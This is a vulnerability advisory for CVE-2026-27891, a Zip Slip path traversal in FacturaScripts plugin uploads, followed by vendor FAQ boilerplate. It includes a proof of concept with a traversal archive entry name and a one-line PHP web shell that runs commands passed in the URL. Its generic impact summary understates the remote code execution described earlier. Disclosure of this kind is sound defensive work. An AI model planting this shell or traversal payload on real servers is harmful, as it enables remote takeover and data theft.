CVE-2026-27891

A Critical vulnerability exists in the Plugins::add() function. The system fails to properly validate the file paths within uploaded ZIP archives. This allows an attacker to perform a Zip Slip attack, leading to Arbitrary File Write and Remote Code Execution (RCE) by overwriting sensitive .php files outside the designated plugins directory.

Details

The vulnerability is located in Plugins.php. While the testZipFile function attempts to validate that the ZIP contains only one root folder, it does not sanitize or validate the individual file paths within that folder.

// Vulnerable logic in Plugins.php
for ($index = 0; $index < $zipFile->numFiles; $index++) {
    $data = $zipFile->statIndex($index);
    $path = explode('/', $data['name']);
    if (count($path) > 1) {
        $folders[$path[0]] = $path[0];
    }
} 

An attacker can bypass this check by naming a file ValidPluginName/../../shell.php. The explode function will see ValidPluginName as the root folder, satisfying the count($folders) != 1 check. However, during extraction, the ../../ sequence triggers a path traversal, allowing the file to be written anywhere the web server has permissions the root directory.

PoC

Prepare Malicious ZIP: Use a tool (like evilarc) or a script to create a ZIP file where one of the entries is named: MyPlugin/../../rce.php
Inject Payload: Inside rce.php, put a simple shell:
<?php system($_GET['cmd']); ?>
Upload: Navigate to the "Add Plugin" section in FacturaScripts and upload the malicious ZIP.
Execution: Access the shell via https://target.com/rce.php?cmd=whoami.

Confidentiality: High (Attacker can read all database configs and files).
Integrity: High (Attacker can modify any file on the server).
Availability: High (Attacker can delete the entire installation).

https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-27891.md

The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.

CVE-2026-27891 has a CVSS score of 7.2 (High). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

1. What is CVE-2026-27891? CVE-2026-27891 is a high-severity improper input validation vulnerability in facturascripts/facturascripts (composer), affecting versions <= 2025.71. No fixed version is listed yet. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
2. How severe is CVE-2026-27891? CVE-2026-27891 has a CVSS score of 7.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of facturascripts/facturascripts are affected by CVE-2026-27891? facturascripts/facturascripts (composer) versions <= 2025.71 is affected.
4. Is there a fix for CVE-2026-27891? No fixed version is listed for CVE-2026-27891 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-27891 exploitable, and should I be worried? Whether CVE-2026-27891 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-27891 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-27891? No fixed version is listed yet. In the interim: Validate all external input against an allowlist of expected values, types, and ranges before processing.